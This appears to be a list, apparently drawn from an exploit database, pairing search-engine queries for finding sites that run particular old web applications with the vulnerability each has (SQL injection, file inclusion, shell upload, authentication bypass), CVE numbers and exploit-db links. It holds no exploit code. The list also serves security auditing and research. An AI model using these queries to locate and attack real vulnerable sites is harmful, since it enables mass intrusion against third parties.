inurl:"com_dashboard"	inurl:"com_dashboard"	Joomla Component com_dashboard Directory Traversal: http://www.exploit-db.com/exploits/11086
inurl:"com_jcollection "	inurl:"com_jcollection "	Joomla Component com_jcollection Directory Traversal - CVE: 2010-0944: http://www.exploit-db.com/exploits/11088
"Affiliate Network Pro"	"Affiliate Network Pro"	AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability - CVE: 2008-3240: http://www.exploit-db.com/exploits/6087
index.php?option=com_pcchess	index.php?option=com_pcchess	PrinceClan Chess Mambo Com 0.8 Remote Inclusion Vulnerability - CVE: 2006-5044: http://www.exploit-db.com/exploits/2069
Powered By: Forest Blog v1.3.2	Powered By: Forest Blog v1.3.2	Forest Blog 1.3.2 (blog.mdb) Remote Database Disclosure Vulnerability - CVE: 2008-5780: http://www.exploit-db.com/exploits/7466

intext:"Powered by phpFastNews"	intext:"Powered by phpFastNews"	phpFastNews 1.0.0 Insecure Cookie Handling Vulnerability - CVE: 2008-4622: http://www.exploit-db.com/exploits/6779
Powered by phpDatingClub	Powered by phpDatingClub	phpDatingClub (website.php page) Local File Inclusion Vulnerability - CVE: 2008-3179: http://www.exploit-db.com/exploits/6037
"Powered by: Censura"	"Powered by: Censura"	Censura 1.15.04 (censura.php vendorid) SQL Injection Vulnerability - CVE: 2007-2673: http://www.exploit-db.com/exploits/3843
inurl:com_clanlist	inurl:com_clanlist	Joomla Component (com_clanlist) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/15456
"This script created by www.script.canavari.com"	"This script created by www.script.canavari.com"	Basic Forum 1.1 (edit.asp) Remote SQL Injection Vulnerability - CVE: 2006-6193: http://www.exploit-db.com/exploits/2848
inurl:classified/product_desc.php?id=	inurl:classified/product_desc.php?id=	GreenCart PHP Shopping Cart (id) Remote SQL Injection Vulnerability - CVE: 2008-3585: http://www.exploit-db.com/exploits/6189
allinurl:"members.asp?action"	allinurl:"members.asp?action"	MiniNuke 2.1 (members.asp uid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5187
inurl:btg_oglas	inurl:btg_oglas	Joomla Component (btg_oglas) HTML & XSS Injection Vulnerability: http://www.exploit-db.com/exploits/15468
"Powered by Scripteen Free Image Hosting Script V 2.3"	"Powered by Scripteen Free Image Hosting Script V 2.3"	Scripteen Free Image Hosting Script 2.3 Insecure Cookie Handling Vuln - CVE: 2009-4987: http://www.exploit-db.com/exploits/9256
inurl:"com_jvideodirect "	inurl:"com_jvideodirect "	Joomla Component com_jvideodirect Directory Traversal - CVE: 2010-0942: http://www.exploit-db.com/exploits/11089
"Siteman Version 1.1.9"	"Siteman Version 1.1.9"	Siteman 1.1.9 (cat) Remote File Disclosure Vulnerability - CVE: 2008-0452: http://www.exploit-

		db.com/exploits/4973
"SimpleBlog 2.3 by 8pixel.net"	"SimpleBlog 2.3 by 8pixel.net"	SimpleBlog 2.3 (admin/edit.asp) Remote SQL Injection Vulnerability - CVE: 2006-6191: http://www.exploit-db.com/exploits/2853
inurl:/squirrelcart/	inurl:/squirrelcart/	Squirrelcart 2.2.0 (cart_content.php) Remote Inclusion Vulnerability - CVE: 2006-2483: http://www.exploit-db.com/exploits/1790
inurl:com_markt	inurl:com_markt	Joomla Component (com_markt) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/15469
"powered by EQdkp"	"powered by EQdkp"	EQdkp 1.3.0 (dbal.php) Remote File Inclusion Vulnerability - CVE: 2006-2256: http://www.exploit-db.com/exploits/1764
intitle:"Login to Calendar"	intitle:"Login to Calendar"	ACal 2.2.6 (day.php) Remote File Inclusion Vulnerability - CVE: 2006-2261: http://www.exploit-db.com/exploits/1763
"WebCalendar v1.0.4"	"WebCalendar v1.0.4"	WebCalendar 1.0.4 (includedir) Remote File Inclusion Vulnerability - CVE: 2008-2836: http://www.exploit-db.com/exploits/5847
inurl:"com_bfsurvey"	inurl:"com_bfsurvey"	Joomla Component com_bfsurvey LFI Vulnerability - CVE: 2010-2259: http://www.exploit-db.com/exploits/10946
anyInventory, the most flexible and powerful web-based inventory system	anyInventory, the most flexible and powerful web-based inventory system	AnyInventory 2.0 (environment.php) Remote File Inclusion Vuln - CVE: 2007-4744: http://www.exploit-db.com/exploits/4365
inurl:bemarket	inurl:bemarket	BBS E-Market (postscript.php p_mode) Remote File Inclusion Vulnerability - CVE: 2007-3934: http://www.exploit-db.com/exploits/4195
inurl:"com_jashowcase "	inurl:"com_jashowcase "	Joomla Component com_jashowcase Directory Traversal - CVE: 2010-0943: http://www.exploit-db.com/exploits/11090

Powered by React - www.react.nl	Powered by React - www.react.nl	React software [local file inclusion]: http://www.exploit-db.com/exploits/11943
"qjForum"	"qjForum"	qjForum (member.asp) SQL Injection Vulnerability - CVE: 2006-2638: http://www.exploit-db.com/exploits/1833
"Powered by cifshanghai.com"	"Powered by cifshanghai.com"	Cifshanghai (chanpin_info.php) CMS SQL Injection: http://www.exploit-db.com/exploits/10105
allinurl:"detResolucion.php?tipodoc_id="	allinurl:"detResolucion.php?tipodoc_id="	CMS Ariadna 2009 SQL Injection - OSVDB-ID: 63929: http://www.exploit-db.com/exploits/12301
"Powered By : Yamamah Version 1.00"	"Powered By : Yamamah Version 1.00"	Yamamah Photo Gallery 1.00 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/13857
Powered by osCSS	Powered by osCSS	osCSS v1.2.1 Database Backups Disclosure: http://www.exploit-db.com/exploits/11612
inurl:"index.php?option=com_prime"	inurl:"index.php?option=com_prime"	Joomla Component com_prime Directory Traversal: http://www.exploit-db.com/exploits/11177
"2006 by www.mani-stats-reader.de.vu"	"2006 by www.mani-stats-reader.de.vu"	Mani Stats Reader 1.2 (ipath) Remote File Include Vulnerability - CVE: 2007-1299: http://www.exploit-db.com/exploits/3398
"powered by: WebLeague"	"powered by: WebLeague"	webLeague 2.2.0 (install.php) Remote Change Password: http://www.exploit-db.com/exploits/9164
"All Rights Reserved. Powered by DieselScripts.com"	"All Rights Reserved. Powered by DieselScripts.com"	Diesel Joke Site (picture_category.php id) SQL Injection Vulnerability - CVE: 2008-4150: http://www.exploit-db.com/exploits/6488
intitle:Web Calendar system v 3.40 inurl:.asp	intitle:Web Calendar system v 3.40 inurl:.asp	Web Calendar System 3.40 (XSS/SQL) Multiple Remote Vulnerabilities: http://www.exploit-db.com/exploits/7265
inurl:index.php?op	inurl:index.php?option=com_notici	Joomla compnent com_noticia cross

tion=com_noticia	a	site scripting: http://www.exploit-db.com/exploits/10789
inurl:guestbook.php "Advanced GuestBook" "powered by phpbb"	inurl:guestbook.php "Advanced GuestBook" "powered by phpbb"	Advanced GuestBook 2.4.0 (phpBB) File Inclusion Vulnerability - CVE: 2006-2152: http://www.exploit-db.com/exploits/1723
inurl:index.php?option=com_portfolio	inurl:index.php?option=com_portfolio	Joomla Component com_portfolio Local File Disclosure: http://www.exploit-db.com/exploits/12325
allinurl:"/ubbthreads/"	allinurl:"/ubbthreads/"	UBB Threads 6.4.x-6.5.2 (thispath) Remote File Inclusion Vulnerability - CVE: 2006-2568: http://www.exploit-db.com/exploits/1814
"powered by zomplog"	"powered by zomplog"	Zomplog 3.8.2 (force_download.php) File Disclosure Vulnerability: http://www.exploit-db.com/exploits/5636
inurl:"/cgi-bin/ourspace/"	inurl:"/cgi-bin/ourspace/"	Ourspace 2.0.9 (uploadmedia.cgi) Remote File Upload Vulnerability - CVE: 2007-4647: http://www.exploit-db.com/exploits/4343
inurl:index.php?option=com_joomradio	inurl:index.php?option=com_joomradio	Joomla Component com_joomradio SQL injection vulnerability - CVE: 2008-2633: http://www.exploit-db.com/exploits/12400
"Powered by xeCMS"	"Powered by xeCMS"	xeCMS 1.x (view.php list) Remote File Disclosure Vulnerability - CVE: 2007-6508: http://www.exploit-db.com/exploits/4758
Power by PHP Classifieds	Power by PHP Classifieds	Pre PHP Classifieds SQL Injection Vulnerability: http://www.exploit-db.com/exploits/13992
"powered by clipshare"	"powered by clipshare"	ClipShare 3.0.1 (tid) Remote SQL Injection Vulnerability - CVE: 2008-2793: http://www.exploit-db.com/exploits/5839
inurl:"com_dailymeals"	inurl:"com_dailymeals"	Joomla Component com_dailymeals LFI Vulnerability: http://www.exploit-db.com/exploits/10928
inurl:"/k12.tr/?part	inurl:"/k12.tr/?part="	Okul Otomasyon Portal 2.0 Remote

="		SQL Injection Vulnerability - CVE: 2007-5490: http://www.exploit-db.com/exploits/4539
inurl:"toplist.php" "powered by phpbb"	inurl:"toplist.php" "powered by phpbb"	TopList
inurl:"com_clan"	inurl:"com_clan"	Joomla Component (com_clan) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/15454
"Powered by WSN Guest"	"Powered by WSN Guest"	WSN Guest Database Disclosure Vulnerability: http://www.exploit-db.com/exploits/11344
allinurl: com_paxxgallery "userid"	allinurl: com_paxxgallery "userid"	Joomla Component paxxgallery 0.2 (iid) SQL Injection Vulnerability - CVE: 2008-0801: http://www.exploit-db.com/exploits/5117
inurl:"index2.php?option=rss" OR "powered By Limbo CMS"	inurl:"index2.php?option=rss" OR "powered By Limbo CMS"	Limbo CMS 1.0.4.2 (sql.php) Remote File Inclusion Vulnerability - CVE: 2006-2142: http://www.exploit-db.com/exploits/1729
"Powered by ezContents Version 1.4.5"	"Powered by ezContents Version 1.4.5"	ezContents 1.4.5 (index.php link) Remote File Disclosure Vulnerability - CVE: 2007-6368: http://www.exploit-db.com/exploits/4694
allinurl: com_quiz"tid"	allinurl: com_quiz"tid"	Joomla Component Quiz 0.81 (tid) SQL Injection Vulnerability - CVE: 2008-0799: http://www.exploit-db.com/exploits/5119
inurl:"com_biographies"	inurl:"com_biographies"	Joomla Component com_biographies SQL injection Vulnerability: http://www.exploit-db.com/exploits/11226
inurl"com_gurujibook"	inurl"com_gurujibook"	Joomla Component com_gurujibook SQL injection Vulnerability: http://www.exploit-db.com/exploits/11225
inurl:/system/article/alltopics.php OR inurl:/system/user/index.php	inurl:/system/article/alltopics.php OR inurl:/system/user/index.php	OpenPHPNuke 2.3.3 Remote File Inclusion Vulnerability - CVE: 2006-2137: http://www.exploit-db.com/exploits/1727
Realizzato con	Realizzato con WSC CMS by	WSC CMS (Bypass) SQL Injection

WSC CMS by Dynamicsoft	Dynamicsoft	Vulnerability - CVE: 2010-0698: http://www.exploit-db.com/exploits/11507
"Powered by Knowledge Base"	"Powered by Knowledge Base"	Knowledge Base Mod 2.0.2 (phpBB) Remote Inclusion Vulnerability - CVE: 2006-2134: http://www.exploit-db.com/exploits/1728
allinurl:"com_extcalendar"	allinurl:"com_extcalendar"	Joomla Component com_extcalendar Blind SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14694
intitle:"Jax Formmailer - Administration"	intitle:"Jax Formmailer - Administration"	Jax FormMailer 3.0.0 Remote File Inclusion Vulnerability - CVE: 2009-2378: http://www.exploit-db.com/exploits/9051
inurl:index.php?option=com_yanc	inurl:index.php?option=com_yanc	Mambo com_yanc 1.4 beta (id) Remote SQL Injection Vulnerability - CVE: 2007-2792: http://www.exploit-db.com/exploits/3944
allinurl: "index.php?p=gallerypic img_id"	allinurl: "index.php?p=gallerypic img_id"	Koobi Pro v6.1 gallery (img_id) - CVE: 2008-6210: http://www.exploit-db.com/exploits/10751
inurl:classified.php phpbazar	inurl:classified.php phpbazar	phpBazar 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities - CVE: 2006-2527: http://www.exploit-db.com/exploits/1804
intext:"Powered by Firebrand Technologies"	intext:"Powered by Firebrand Technologies"	CMS Firebrand Tec Local File Inclusion Vulnerability: http://www.exploit-db.com/exploits/12378
"Designed and Developed by Debliteck Ltd"	"Designed and Developed by Debliteck Ltd"	DB[CMS] Sql Injection Vulnerability: http://www.exploit-db.com/exploits/12654
"Designed and Developed by Debliteck Ltd"	"Designed and Developed by Debliteck Ltd"	DB[CMS] (section.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12659
Supernews 2.6	Supernews 2.6	Supernews 2.6 (index.php noticia) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8869
"powered by ezUserManager"	"powered by ezUserManager"	ezUserManager 1.6 Remote File Inclusion Vulnerability - CVE: 2006-

		2424: http://www.exploit-db.com/exploits/1795
Powered by: PreProjects	Powered by: PreProjects	Pre Multi-Vendor Shopping Malls (products.php?sid) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/13996
allintitle: "MCgallery 0.5b"	allintitle: "MCgallery 0.5b"	McGallery 0.5b (download.php) Arbitrary File Download Vulnerability - CVE: 2007-1478: http://www.exploit-db.com/exploits/3494
contact_frm.php	contact_frm.php	Recipes Website 1.0 SQL Injection - OSVDB-ID: 64841: http://www.exploit-db.com/exploits/12703
Powered by Natterchat v1.12	Powered by Natterchat v1.12	Natterchat 1.12 (Auth Bypass) Remote SQL Injection Vulnerability - CVE: 2008-7049: http://www.exploit-db.com/exploits/7175
"Instant Free File Uploader"	"Instant Free File Uploader"	Uploaderr 1.0 - File Hosting Script Shell Upload Vulnerability: http://www.exploit-db.com/exploits/10241
Powered by Webiz inurl:'wmt/webpages'	Powered by Webiz inurl:'wmt/webpages	(Webiz) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12798
"Powered by xchangeboard"	"Powered by xchangeboard"	XchangeBoard 1.70 (boardID) Remote SQL Injection Vulnerability - CVE: 2008-3035: http://www.exploit-db.com/exploits/5991
allinurl: com_mcquiz "tid"	allinurl: com_mcquiz "tid"	Joomla Component MCQuiz 0.9 Final (tid) SQL Injection Vulnerability - CVE: 2008-0800: http://www.exploit-db.com/exploits/5118
inurl:"com_productbook"	inurl:"com_productbook"	Joomla Component com_productbook SQL Injection Vulnerability - CVE: 2010-1045: http://www.exploit-db.com/exploits/11352
inurl: "com_alphacontent"	inurl: "com_alphacontent"	Joomla Component alphacontent 2.5.8 (id) SQL Injection Vulnerability - CVE: 2008-1559: http://www.exploit-db.com/exploits/5310
"Powered by:	"Powered by: PreProjects"	Pre Multi-Vendor Shopping Malls SQL

PreProjects"		Injection Vulnerability: http://www.exploit-db.com/exploits/13987
"Powered by SoftbizScripts" inurl:store_info.php	"Powered by SoftbizScripts" inurl:store_info.php	Softbiz Classifieds PLUS (id) Remote SQL Injection Vulnerability - CVE: 2007-5122: http://www.exploit-db.com/exploits/4457
inurl:"com_avosbillets"	inurl:"com_avosbillets"	Joomla (com_avosbillets) SQL injection Vulnerability: http://www.exploit-db.com/exploits/11223
"Powered By Aardvark Topsites PHP 4.2.2"	"Powered By Aardvark Topsites PHP 4.2.2"	Aardvark Topsites PHP 4.2.2 (path) Remote File Inclusion Vuln - CVE: 2006-7026: http://www.exploit-db.com/exploits/1730
inurl:"com_projectfork"	inurl:"com_projectfork"	Joomla Component com_Projectfork 2.0.10 Local File Inclusion Vuln - CVE: 2009-2100: http://www.exploit-db.com/exploits/8946
intext:"Powered by PHPCityPortal.com"	intext:"Powered by PHPCityPortal.com"	PHPCityPortal (Auth Bypass) Remote SQL Injection Vulnerability - CVE: 2009-4870: http://www.exploit-db.com/exploits/9395
intitle:"jGallery"	intitle:"jGallery"	jGallery 1.3 (index.php) Remote File Inclusion Vulnerability - CVE: 2007-2158: http://www.exploit-db.com/exploits/3760
"Powered by Download 3000"	"Powered by Download 3000"	Joomla Component d3000 1.0.0 Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5299
intitle:"zFeeder admin panel"	intitle:"zFeeder admin panel"	zFeeder 1.6 (admin.php) No Authentication Vulnerability - CVE: 2009-0807: http://www.exploit-db.com/exploits/8092
Powered by WebStudio	Powered by WebStudio	WebStudio CMS (pageid) Remote Blind SQL Injection Vuln - CVE: 2008-5336: http://www.exploit-db.com/exploits/7236
inurl:"select_file2.php"	inurl:"select_file2.php"	Flashden Multiple File Uploader Shell Upload Vulnerability: http://www.exploit-db.com/exploits/10236

"powered by Gradman"	"powered by Gradman"	Gradman 0.1.3 (info.php tabla) Local File Inclusion Vulnerability - CVE: 2008-0393: http://www.exploit-db.com/exploits/4936
"Designed and Developed by Debliteck Ltd"	"Designed and Developed by Debliteck Ltd"	DB[CMS] (article.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12666
"Powered by mlffat"	"Powered by mlffat"	Mlffat 2.1 (Auth Bypass / Cookie) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/8674
inurl:"/squirrelcart/" -squirrelcart.com	inurl:"/squirrelcart/" -squirrelcart.com	Squirrelcart 1.x.x (cart.php) Remote File Inclusion Vulnerability - CVE: 2007-4439: http://www.exploit-db.com/exploits/4295
Engine powered by easyLink V1.1.0.	Engine powered by easyLink V1.1.0.	easyLink 1.1.0 (detail.php) Remote SQL Injection Vulnerability - CVE: 2008-6471: http://www.exploit-db.com/exploits/6494
allintext: "This site is powered by IndexScript"	allintext: "This site is powered by IndexScript"	IndexScript 2.8 (show_cat.php cat_id) SQL Injection Vulnerability - CVE: 2007-4069: http://www.exploit-db.com/exploits/4225
"powered by PassWiki"	"powered by PassWiki"	PassWiki 0.9.16 RC3 (site_id) Local File Inclusion Vulnerability - CVE: 2008-6423: http://www.exploit-db.com/exploits/5704
"software 2004-2005 by randshop"	"software 2004-2005 by randshop"	Randshop 1.1.1 (header.inc.php) Remote File Include Vulnerability - CVE: 2006-3375: http://www.exploit-db.com/exploits/1971
"powered by phpEmployment"	"powered by phpEmployment"	phpEmployment (php upload) Arbitrary File Upload Vulnerability - CVE: 2008-6920: http://www.exploit-db.com/exploits/7563
inurl:"wp-download.php?dl_id="	inurl:"wp-download.php?dl_id="	Wordpress Plugin Download (dl_id) SQL Injection Vulnerability - CVE: 2008-1646: http://www.exploit-db.com/exploits/5326
"Powered by VS PANEL"	"Powered by VS PANEL"	VS PANEL 7.3.6 (Cat_ID) Remote SQL Injection Vulnerability - CVE: 2009-3590: http://www.exploit-db.com/exploits/8506

"powered by phpmydirectory" OR intext:"2001-2006 phpMyDirectory.com"	"powered by phpmydirectory" OR intext:"2001-2006 phpMyDirectory.com"	phpMyDirectory 10.4.4 (ROOT_PATH) Remote Inclusion Vulnerability - CVE: 2006-2521: http://www.exploit-db.com/exploits/1808
intext:"Kalimat news system v 1.0"	intext:"Kalimat news system v 1.0"	kalimat new system v 1.0 (index.php) SQL Injection: http://www.exploit-db.com/exploits/11563
Powered by: PhotoPost PHP 4.6	Powered by: PhotoPost PHP 4.6	PhotoPost PHP SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14446
"Powered by Maian Recipe v1.0"	"Powered by Maian Recipe v1.0"	Maian Recipe 1.0 (path_to_folder) Remote File Include Vulnerability - CVE: 2007-0848: http://www.exploit-db.com/exploits/3284
"Powered by CommonSense CMS"	"Powered by CommonSense CMS"	CommonSense CMS Sql Injection Vulnerability: http://www.exploit-db.com/exploits/13762
"Eyeland Studio Inc. All Rights Reserved." inurl:game.php	"Eyeland Studio Inc. All Rights Reserved." inurl:game.php	Eyeland Studio Inc. (game.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/13858
"powered by Pagetool"	"powered by Pagetool"	Pagetool 1.07 (news_id) Remote SQL Injection Vulnerability - CVE: 2007-3402: http://www.exploit-db.com/exploits/4107
powered by jshop	powered by jshop	Jshop Server 1.3 (fieldValidation.php) Remote File Include Vulnerability - CVE: 2007-0232: http://www.exploit-db.com/exploits/3113
/modules/mx_links/	/modules/mx_links/	mxBB Module WebLinks 2.05 Remote Inclusion Vulnerability - CVE: 2006-6645: http://www.exploit-db.com/exploits/2939
inurl:"?pageNum_RSnews"&view	inurl:"?pageNum_RSnews"&view	NUs Newssystem v1.02 (id) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11674
inurl:index.php?option=com_directory	inurl:index.php?option=com_directory	Joomla Component mosDirectory 2.3.2 (catid) SQL Injection Vulnerability - CVE: 2008-0690: http://www.exploit-db.com/exploits/5047

"Powered By DynamicPAD"	"Powered By DynamicPAD"	DynamicPAD 1.02.18 (HomeDir) Remote File Inclusion Vulnerabilities - CVE: 2007-2527: http://www.exploit-db.com/exploits/3868
"Powered by : elkagroup.com"	"Powered by : elkagroup.com"	elkagroup (pid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10836
"com_joom12pic"	"com_joom12pic"	Joomla Component joom12Pic 1.0 Remote File Inclusion Vulnerability - CVE: 2007-4954: http://www.exploit-db.com/exploits/4416
"Starting bid" "Powered by SoftbizScripts"	"Starting bid" "Powered by SoftbizScripts"	Softbiz Auctions Script product_desc.php Remote SQL Injection Vuln - CVE: 2007-5999: http://www.exploit-db.com/exploits/4617
"Liberum Help Desk, Copyright (C) 2001 Doug Luxem. Please view the license	"Liberum Help Desk, Copyright (C) 2001 Doug Luxem. Please view the license	Liberum Help Desk 0.97.3 (details.asp) SQL Injection Vulnerability - CVE: 2006-6160: http://www.exploit-db.com/exploits/2846
allinurl:"jokes.php ?catagorie="	allinurl:"jokes.php?catagorie="	Jokes Site Script (jokes.php?catagorie) SQL Injection Vulnerability - CVE: 2008-2065: http://www.exploit-db.com/exploits/5508
"Created by weenCompany"	"Created by weenCompany"	weenCompany SQL Injection Vulnerability - CVE: 2009-4423: http://www.exploit-db.com/exploits/10606
intext:"Powered by eStore v1.0.2"	intext:"Powered by eStore v1.0.2"	eStore v1.0.2 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10784
"Powered by: Elite Gaming Ladders v3.2"	"Powered by: Elite Gaming Ladders v3.2"	Elite Gaming Ladders 3.2 (platform) SQL Injection Vulnerability - CVE: 2009-3314: http://www.exploit-db.com/exploits/9702
php-addressbook v3.1.5	php-addressbook v3.1.5	php-addressbook v3.1.5(edit.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10877
"Powered by ParsBlogger"	"Powered by ParsBlogger"	ParsBlogger (blog.asp wr) Remote SQL Injection Vulnerability - CVE: 2008-5637: http://www.exploit-

		db.com/exploits/7239
intitle:"vrnews v1"	intitle:"vrnews v1"	VRNews 1.1.1 (admin.php) Remote Permission Bypass Vulnerability - CVE: 2007-3611: http://www.exploit-db.com/exploits/4150
inurl:"customer_testimonials.php"	inurl:"customer_testimonials.php"	osCommerce Addon Customer Testimonials 3.1 SQL Injection Vulnerability - CVE: 2008-0719: http://www.exploit-db.com/exploits/5075
"Powered by Espinas IT"	"Powered by Espinas IT"	Espinas CMS SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12100
"Powered by iNetScripts"	"Powered by iNetScripts"	Powered by iNetScripts: Shell Upload Vulnerability: http://www.exploit-db.com/exploits/12384
Maintained with the Ocean12 Poll Manager Pro v1.00	Maintained with the Ocean12 Poll Manager Pro v1.00	Ocean12 Poll Manager Pro Database Disclosure Vulnerability: http://www.exploit-db.com/exploits/7246
allinurl: "com_glossary"	allinurl: "com_glossary"	Mambo Component Glossary 2.0 (catid) SQL Injection Vulnerability - CVE: 2008-0514: http://www.exploit-db.com/exploits/5010
inurl:buyer/about_us.php?BuyerID	inurl:buyer/about_us.php?BuyerID	Alibaba Clone Platinum (about_us.php) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12612
Maintained with the Ocean12 Calendar Manager Gold v2.04	Maintained with the Ocean12 Calendar Manager Gold v2.04	Ocean12 Calendar Manager Gold Database Disclosure Vulnerability: http://www.exploit-db.com/exploits/7247
pagerank-0-topliste.html OR pagerank-0-tipp.html	pagerank-0-topliste.html OR pagerank-0-tipp.html	phpscripts Ranking Script Insecure Cookie Handling Vulnerability - CVE: 2008-6092: http://www.exploit-db.com/exploits/6649
Powered by UCenter inurl:shop.php?ac=view	Powered by UCenter inurl:shop.php?ac=view	UCenter Home 2.0 SQL Injection Vulnerability: http://www.exploit-db.com/exploits/14997
intext:"Powered By : Yamamah	intext:"Powered By : Yamamah Version 1.00"	Yamamah 1.0 SQL Injection Vulnerability: http://www.exploit-

Version 1.00"		db.com/exploits/13849
"Sinapis by scripter.ch"	"Sinapis by scripter.ch"	Sinapis Forum 2.2 (sinapis.php fuss) Remote File Include Vulnerability - CVE: 2007-1131: http://www.exploit-db.com/exploits/3367
"Powered by BosClassifieds Classified Ads System"	"Powered by BosClassifieds Classified Ads System"	BosClassifieds 3.0 (index.php cat) SQL Injection Vulnerability - CVE: 2008-1838: http://www.exploit-db.com/exploits/5444
"Powered by RGameScript"	"Powered by RGameScript"	RGameScript Pro (page.php id) Remote File Inclusion Vulnerability - CVE: 2007-3980: http://www.exploit-db.com/exploits/4210
inurl:"/files/redirect.asp"	inurl:"/files/redirect.asp"	JBS v2.0 | JBSX - Administration panel bypass and Malicious File Upload Vulnerability: http://www.exploit-db.com/exploits/10161
"Easy-Clanpage v2.2"	"Easy-Clanpage v2.2"	Easy-Clanpage 2.2 (id) Remote SQL Injection Vulnerability - CVE: 2008-1425: http://www.exploit-db.com/exploits/5275
inurl:"/plugins/ImageManager/manager.php"	inurl:"/plugins/ImageManager/manager.php"	Wordpress Image Manager Plugins Shell Upload Vulnerability: http://www.exploit-db.com/exploits/10325
"com_joomlaflashfun"	"com_joomlaflashfun"	Joomla Component Flash Fun! 1.0 Remote File Inclusion Vulnerability - CVE: 2007-4955: http://www.exploit-db.com/exploits/4415
Powered by BKWorks ProPHP Version 0.50 Beta 1	Powered by BKWorks ProPHP Version 0.50 Beta 1	BKWorks ProPHP 0.50b1 (Auth Bypass) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/7726
inurl:"whoiscart/admin/hostinginterfaces/"	inurl:"whoiscart/admin/hostinginterfaces/"	WHOISCART Scripting Vulnerability: http://www.exploit-db.com/exploits/10812
Powered by Sisfo Kampus 2006	Powered by Sisfo Kampus 2006	Sisfo Kampus 2006 (blanko.preview.php) Local File Disclosure Vuln - CVE: 2007-4820: http://www.exploit-db.com/exploits/4380

inurl:"sticker/sticker.php?id="	inurl:"sticker/sticker.php?id="	2Capsule (sticker.php id) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/7631
inurl:quizinfo.php	inurl:quizinfo.php	PHP-MySQL-Quiz SQL Injection Vulnerability: http://www.exploit-db.com/exploits/10876
"Powered by Md-Pro"	"Powered by Md-Pro"	Md-Pro 1.0.8x (Topics topicid) Remote SQL Injection Vulnerability - CVE: 2007-3938: http://www.exploit-db.com/exploits/4199
inurl:"index.php?option=com_simpleboard"	inurl:"index.php?option=com_simpleboard"	Mambo Component Simpleboard 1.0.3 (catid) SQL Injection Vulnerability - CVE: 2008-1077: http://www.exploit-db.com/exploits/5195
inurl:"tradeCategory.php?id= "	inurl:"tradeCategory.php?id= "	Hampshire Trading Standards Script SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12768
inurl:"com_omphotogallery"	inurl:"com_omphotogallery"	Joomla Omilen Photo Gallery 0.5b Local File Inclusion Vulnerability - CVE: 2009-4202: http://www.exploit-db.com/exploits/8870
inurl:"sinagb.php"	inurl:"sinagb.php"	Sinapis 2.2 Gastebuch (sinagb.php fuss) Remote File Include Vulnerability - CVE: 2007-1130: http://www.exploit-db.com/exploits/3366
inurl:csc_article_details.php	inurl:csc_article_details.php	CaupoShop Classic 1.3 (saArticle[ID]) Remote SQL Injection Vulnerability - CVE: 2008-2866: http://www.exploit-db.com/exploits/5865
inurl:index.php?page=img Powered By Mini File Host	inurl:index.php?page=img Powered By Mini File Host	Mini File Host 1.x Arbitrary PHP File Upload Vulnerability - CVE: 2008-6785: http://www.exploit-db.com/exploits/7509
allinurl:com_pccookbook	allinurl:com_pccookbook	pc_cookbook Mambo Component 0.3 Include Vulnerability - CVE: 2006-3530: http://www.exploit-db.com/exploits/2024
"Powered by LDU"	"Powered by LDU"	LDU 8.x (polls.php) Remote SQL Injection Vulnerability: http://www.exploit-

		db.com/exploits/2871
intext:"powered by tincan ltd"	intext:"powered by tincan ltd"	tincan ltd (section) SQL Injection Vulnerability: http://www.exploit-db.com/exploits/11113
"REALTOR 747 - Version 4.11"	"REALTOR 747 - Version 4.11"	Realtor 747 (define.php INC_DIR) Remote File Inclusion Vulnerability - CVE: 2009-0495: http://www.exploit-db.com/exploits/7743
inurl:"view_group.php?group_id="	inurl:"view_group.php?group_id="	Vastal I-Tech SQL Injection Vulnerability: http://www.exploit-db.com/exploits/12845
"CzarNews v1.12 " | "CzarNews v1.13" | "CzarNews v1.14 "	"CzarNews v1.12 " | "CzarNews v1.13" | "CzarNews v1.14 "	CzarNews 1.14 (tpath) Remote File Inclusion Vulnerability - CVE: 2006-3685: http://www.exploit-db.com/exploits/2009
inurl:"filebase.php " "Powered by phpBB"	inurl:"filebase.php" "Powered by phpBB"	phpBB Mod FileBase (id) Remote SQL Injection Vulnerability - CVE: 2008-1305: http://www.exploit-db.com/exploits/5236
allinurl: "name Sections op viewarticle artid"	allinurl: "name Sections op viewarticle artid"	PHP-Nuke Module Sections (artid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5154
"Powered by samart-cms"	"Powered by samart-cms"	samart-cms 2.0 (contentsid) Remote SQL Injection Vulnerability: http://www.exploit-db.com/exploits/5862
Ultimate-Fun-Book 1.02	Ultimate-Fun-Book 1.02	Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability - CVE: 2007-1059: http://www.exploit-db.com/exploits/3336
allinurl: "modules/dictionary/detail.php?id"	allinurl: "modules/dictionary/detail.php?id"	XOOPS Module dictionary 2.0.18 (detail.php) SQL Injection Vulnerability - CVE: 2009-4582: http://www.exploit-db.com/exploits/10807
"Copyright (C) 2000 Phorum Development Team"	"Copyright (C) 2000 Phorum Development Team"	Phorum 3.2.11 (common.php) Remote File Include Vulnerability - CVE: 2006-6550: http://www.exploit-db.com/exploits/2894
inurl:flashblog.htm	inurl:flashblog.html OR	FlashBlog 0.31b Remote Arbitrary File

l OR inurl:/flashblog/	inurl:/flashblog/	Upload Vulnerability - CVE: 2008-2574: http://www.exploit-db.com/exploits/5728
